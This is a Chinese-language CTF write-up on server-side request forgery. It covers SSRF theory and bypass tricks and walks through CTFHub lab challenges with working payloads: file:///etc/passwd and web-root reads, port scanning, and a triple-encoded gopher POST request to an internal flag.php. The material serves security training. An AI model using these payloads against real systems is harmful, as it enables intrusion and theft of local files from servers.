目錄
一、SSRF(服務器端請求偽造)
漏洞產生原理:
漏洞一般存在于
產生SSRF漏洞的函數(PHP):
發現SSRF漏洞時:
SSRF危害:
SSRF漏洞利用手段:
SSRF繞過方法:
二、CTFHUB技能樹 SSRF
1.Http、file和Dict等協議的利用
內網訪問?
偽協議讀取文件
?編輯端口掃描
?編輯2.Gopher協議的利用
?POST請求
一、SSRF(服務器端請求偽造)
漏洞產生原理:
大多是由于服務端提供了從其他服務器應用獲取數據的功能,但又沒有對目標地址做嚴格過濾與限制,導致攻擊者可以傳入任意的地址來讓后端服務器對其發起請求,并返回對該目標地址請求的數據。
漏洞一般存在于
(1)分享鏈接
(2)轉碼服務
(3)在線翻譯
(4)圖片、文章收藏功能
(5)未公開的API實現以及其他調用URL的功能
(6)圖片加載與下載
(7)從URL關鍵字中尋找(share、wap、url、link、src、source、target、u、display、sourceURl、imageURL、domain)
產生SSRF漏洞的函數(PHP):
(1)file_get_contents()
(2)sockopen()
(3)curl_exec()
發現SSRF漏洞時:
首先要測試所有可用的URL偽協議
file:// 從文件系統中獲取文件內容,如,file:///etc/passwd
dict:// 字典服務器協議,訪問字典資源,如,dict:///ip:6739/info:
sftp:// SSH文件傳輸協議或安全文件傳輸協議
ldap:// 輕量級目錄訪問協議
tftp:// 簡單文件傳輸協議
gopher:// 分布式文檔傳遞服務,可使用gopherus生成payload
SSRF危害:
SSRF漏洞利用手段:
(1)可以對外網、內網、本地進行端口掃描,某些情況下端口的Banner會回顯出來(比如3306的);
(2)攻擊運行在內網或本地的有漏洞程序(比如溢出);
(3)可以對內網Web應用進行指紋識別,原理是通過請求默認的文件得到特定的指紋;
(4)攻擊內網或外網有漏洞的Web應用;
(5)使用file:///協議讀取本地文件(或其他協議)
SSRF繞過方法:
(1)@????????? http://abc.com@127.0.0.1
(2)添加端口號????? http://127.0.0.1:8080
(3)短地址??????? https://0x9.me/cuGfD
(4)可以指向任意ip的域名? xip.io
(5)ip地址轉換成進制來訪問 192.168.0.1=3232235521(十進制)
(6)非HTTP協議
(7)DNS Rebinding
理論轉自:Web 常見十大漏洞原理及利用方式_web漏洞利用實操-CSDN博客
二、CTFHUB技能樹 SSRF
1.Http、file和Dict等協議的利用
內網訪問?
題目描述:嘗試訪問位于127.0.0.1的flag.php吧
從目標主機內網環境訪問它本地的flag.php,構建url:
/?url=http://127.0.0.1/flag.php
偽協議讀取文件
題目描述:嘗試去讀取一下Web目錄下的flag.php吧
?無法直接訪問
使用file:///協議 訪問本地文件系統
構建payload:
file:/// [文件的絕對路徑和文件名]?url=file:///var/www/html/flag.php
端口掃描
題目描述:來來來性感CTFHub在線掃端口,據說端口范圍是8000-9000哦,
知道端口號范圍,使用bp爆破? 將8000設為變量
變量類型number、范圍8000~9000
?
?8218端口 ,respond得flag
2.Gopher協議的利用
學習參考:CTFHub技能樹筆記之SSRF:POST請求、文件上傳_ctfhub ssrf post-CSDN博客
gopher協議是ssrf利用中最強大的協議
gopher協議支持發出GET、POST請求:
可以先截獲get請求包和post請求包,再構成符合gopher協議的請求。
默認端口為70,一般需發送到80端口
如果發起post請求,回車換行需要使用%0D%0A,如果多個參數,參數之間的&也需要進行URL編碼。
gopher使用結構:
gopher://127.0.0.1:80/_{TCP/IP數據流}_不能省
?POST請求
題目描述:這次是發一個HTTP POST請求.對了.ssrf是用php的curl實現的.并且會跟蹤302跳轉.
使用dirsearch掃描一下
python dirsearch.py -u http://challenge-0981474f125e7046.sandbox.ctfhub.com:10800/?url=127.0.0.1/
狀態碼為200的只有flag.php
訪問127.0.0.1/flag.php,出現一個輸入框
查看源代碼有一個key值
將key輸入輸入框
嘗試file///協議分別讀取index.php 和flag.php的頁面源碼
?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php
POST傳參了key
$_SERVER['SERVER_ADDR ' ]:當前運行腳本所在的服務器(非本地)的 IP 地址。 ?
所以在flag.php傳入key值返回flag,index.php可以利用curl傳url
故用gopher協議在index.php中構造post請求包往flag.php傳key值,從而獲得flag
構造 Gopher協議所需的 POST請求:
POST包必須包含的四個參數:Content-Type、Content-Length(key的長度)、host
,、post
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=687e7be15804b88bc8014fa4008ccb3c
利用ssrf時常需要進行多次url編碼,執行curl功能后會被解碼一次,利用?url=gopher://形式進行ssrf請求又會被解碼一次,如果有302跳轉 也會被解碼一次。
(可以說傳參+跳轉,請求多少次就要編碼多少次)
所以對構造的請求包進行三次 URL編碼:
第一次編碼后,將%0A
全部替換為%0D%0A
。
因為 Gopher協議包含的請求數據包中,可能包含有=
、&
等特殊字符,避免與服務器解析傳入的參數鍵值對混淆,所以對數據包進行 URL編碼,這樣服務端會把%
后的字節當做普通字節。
第一次url編碼:
POST%20/flag.php%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application/x-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D687e7be15804b88bc8014fa4008ccb3c
替換:
POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D687e7be15804b88bc8014fa4008ccb3c
第二次url編碼:
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D687e7be15804b88bc8014fa4008ccb3c
如果有302跳轉,還需第三次編碼:
POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D687e7be15804b88bc8014fa4008ccb3c
因為flag.php
中的$_SERVER["REMOTE_ADDR"]
無法繞過,于是在index.php
中發送 POST請求
最終payload如下,使用bp傳入POST請求得flag。
?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D687e7be15804b88bc8014fa4008ccb3c